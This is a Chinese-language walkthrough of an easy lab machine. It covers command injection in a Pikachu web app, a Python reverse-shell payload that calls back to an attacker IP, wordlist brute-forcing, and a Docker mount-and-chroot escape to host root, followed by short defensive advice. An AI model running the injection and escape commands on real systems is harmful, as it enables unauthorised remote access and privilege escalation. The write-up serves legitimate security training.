language靶机—难度easy知识点-docker逃逸-爆破 #
Nmap扫描发现端口 80和9999 #
访问80没东西 就访问9999端口-结果是pikachu
那就直接RCE就行 但是他这里RCE 什么命令都没有或者限制了? 试试其他的反弹
127.0.0.1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.126",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
成功了
拿到shell权限 #
这里翻到了数据库密码 进去看看
这里翻到了一个用户叫ml
但是这里系统什么用户都没有 很奇怪啊
这里一开始就怀疑是docker容器里面 这里翻到了一些提示文件和判断是不是docker
判断是不是docker
1:主机名字 输入字符返回长字符串
2:ls /sys/fs/cgroup 这目录 是 Docker 和其他容器技术使用的cgroup(控制组)信息所在的目录。查看有无
3:docker ps直接查看有无
而且这靶机用户都没有很大几率在docker里面
然后我们获得用户同时那个提示证明密码有关用户名爆破就行
cat /usr/share/wordlists/rockyou.txt | grep '^ml' > ml.txt 取出以ml开头的
拿root #
登录上去 发现.bash_history没有删除并且sudo -l 然后他启动了一个容器 没有
呃呃呃 这里做WP发现一个直接方法
Docker 容器本身运行时默认是以 root 用户身份运行的(除非你明确指定以其他用户身份运行),所以容器内你会获得 root 权限。
这里说明下我在容器创建的123.txt 我在外面是看不到的他建立的容器没有和本身建立连接不能修改本身
这里我做的直接挂载并且和本身建立连接 意思你修改容器也会修改源文件/
这里我重新拿一个镜像docker run -v /:/mnt -it alpine chroot /mnt sh
并且在根目录创建文件hahaha.txt 我们退出到用户看看有没有
确实存在 所以我们写入.ssh就可以提权到本身的root里面
解释代码 - docker run -v /:/mnt -it alpine chroot /mnt sh
docker run 用于启动一个新的容器并执行指定的命令
-v /:/mnt -v表示挂载 /映射到/mnt目录
-it -i 让容器保持交互模式,-t 给你一个终端。
chroot /mnt sh 这里最关键步骤 容器里的命令执行环境就变成了宿主机的文件系统 相当于你“切换根”,从容器转到了宿主机上
sh 执行一个 shell 在宿主机文件系统根目录中执行 /bin/sh
如何防范
1:禁用容器挂载卷功能
2:root开启镜像时候:Docker 容器默认会以 root 用户运行,如果没有特别限制,容器内的用户可以执行很多敏感操作
可以
docker run --privileged=false -it ubuntu 禁用特权模式
3:限制挂载目录
关键点还是 不要直接将 Docker 权限直接给到用户手上
总结一下 #
1:如果用户有 Docker 权限,并且能够控制 Docker 容器,他们几乎能够绕过所有容器内的限制(包括文件系统权限),并直接访问宿主机资源。因此,防止将 Docker 权限授予非管理员用户是容器安全的基础。如果 Docker 权限无法被控制,其他的安全措施将显得非常脆弱。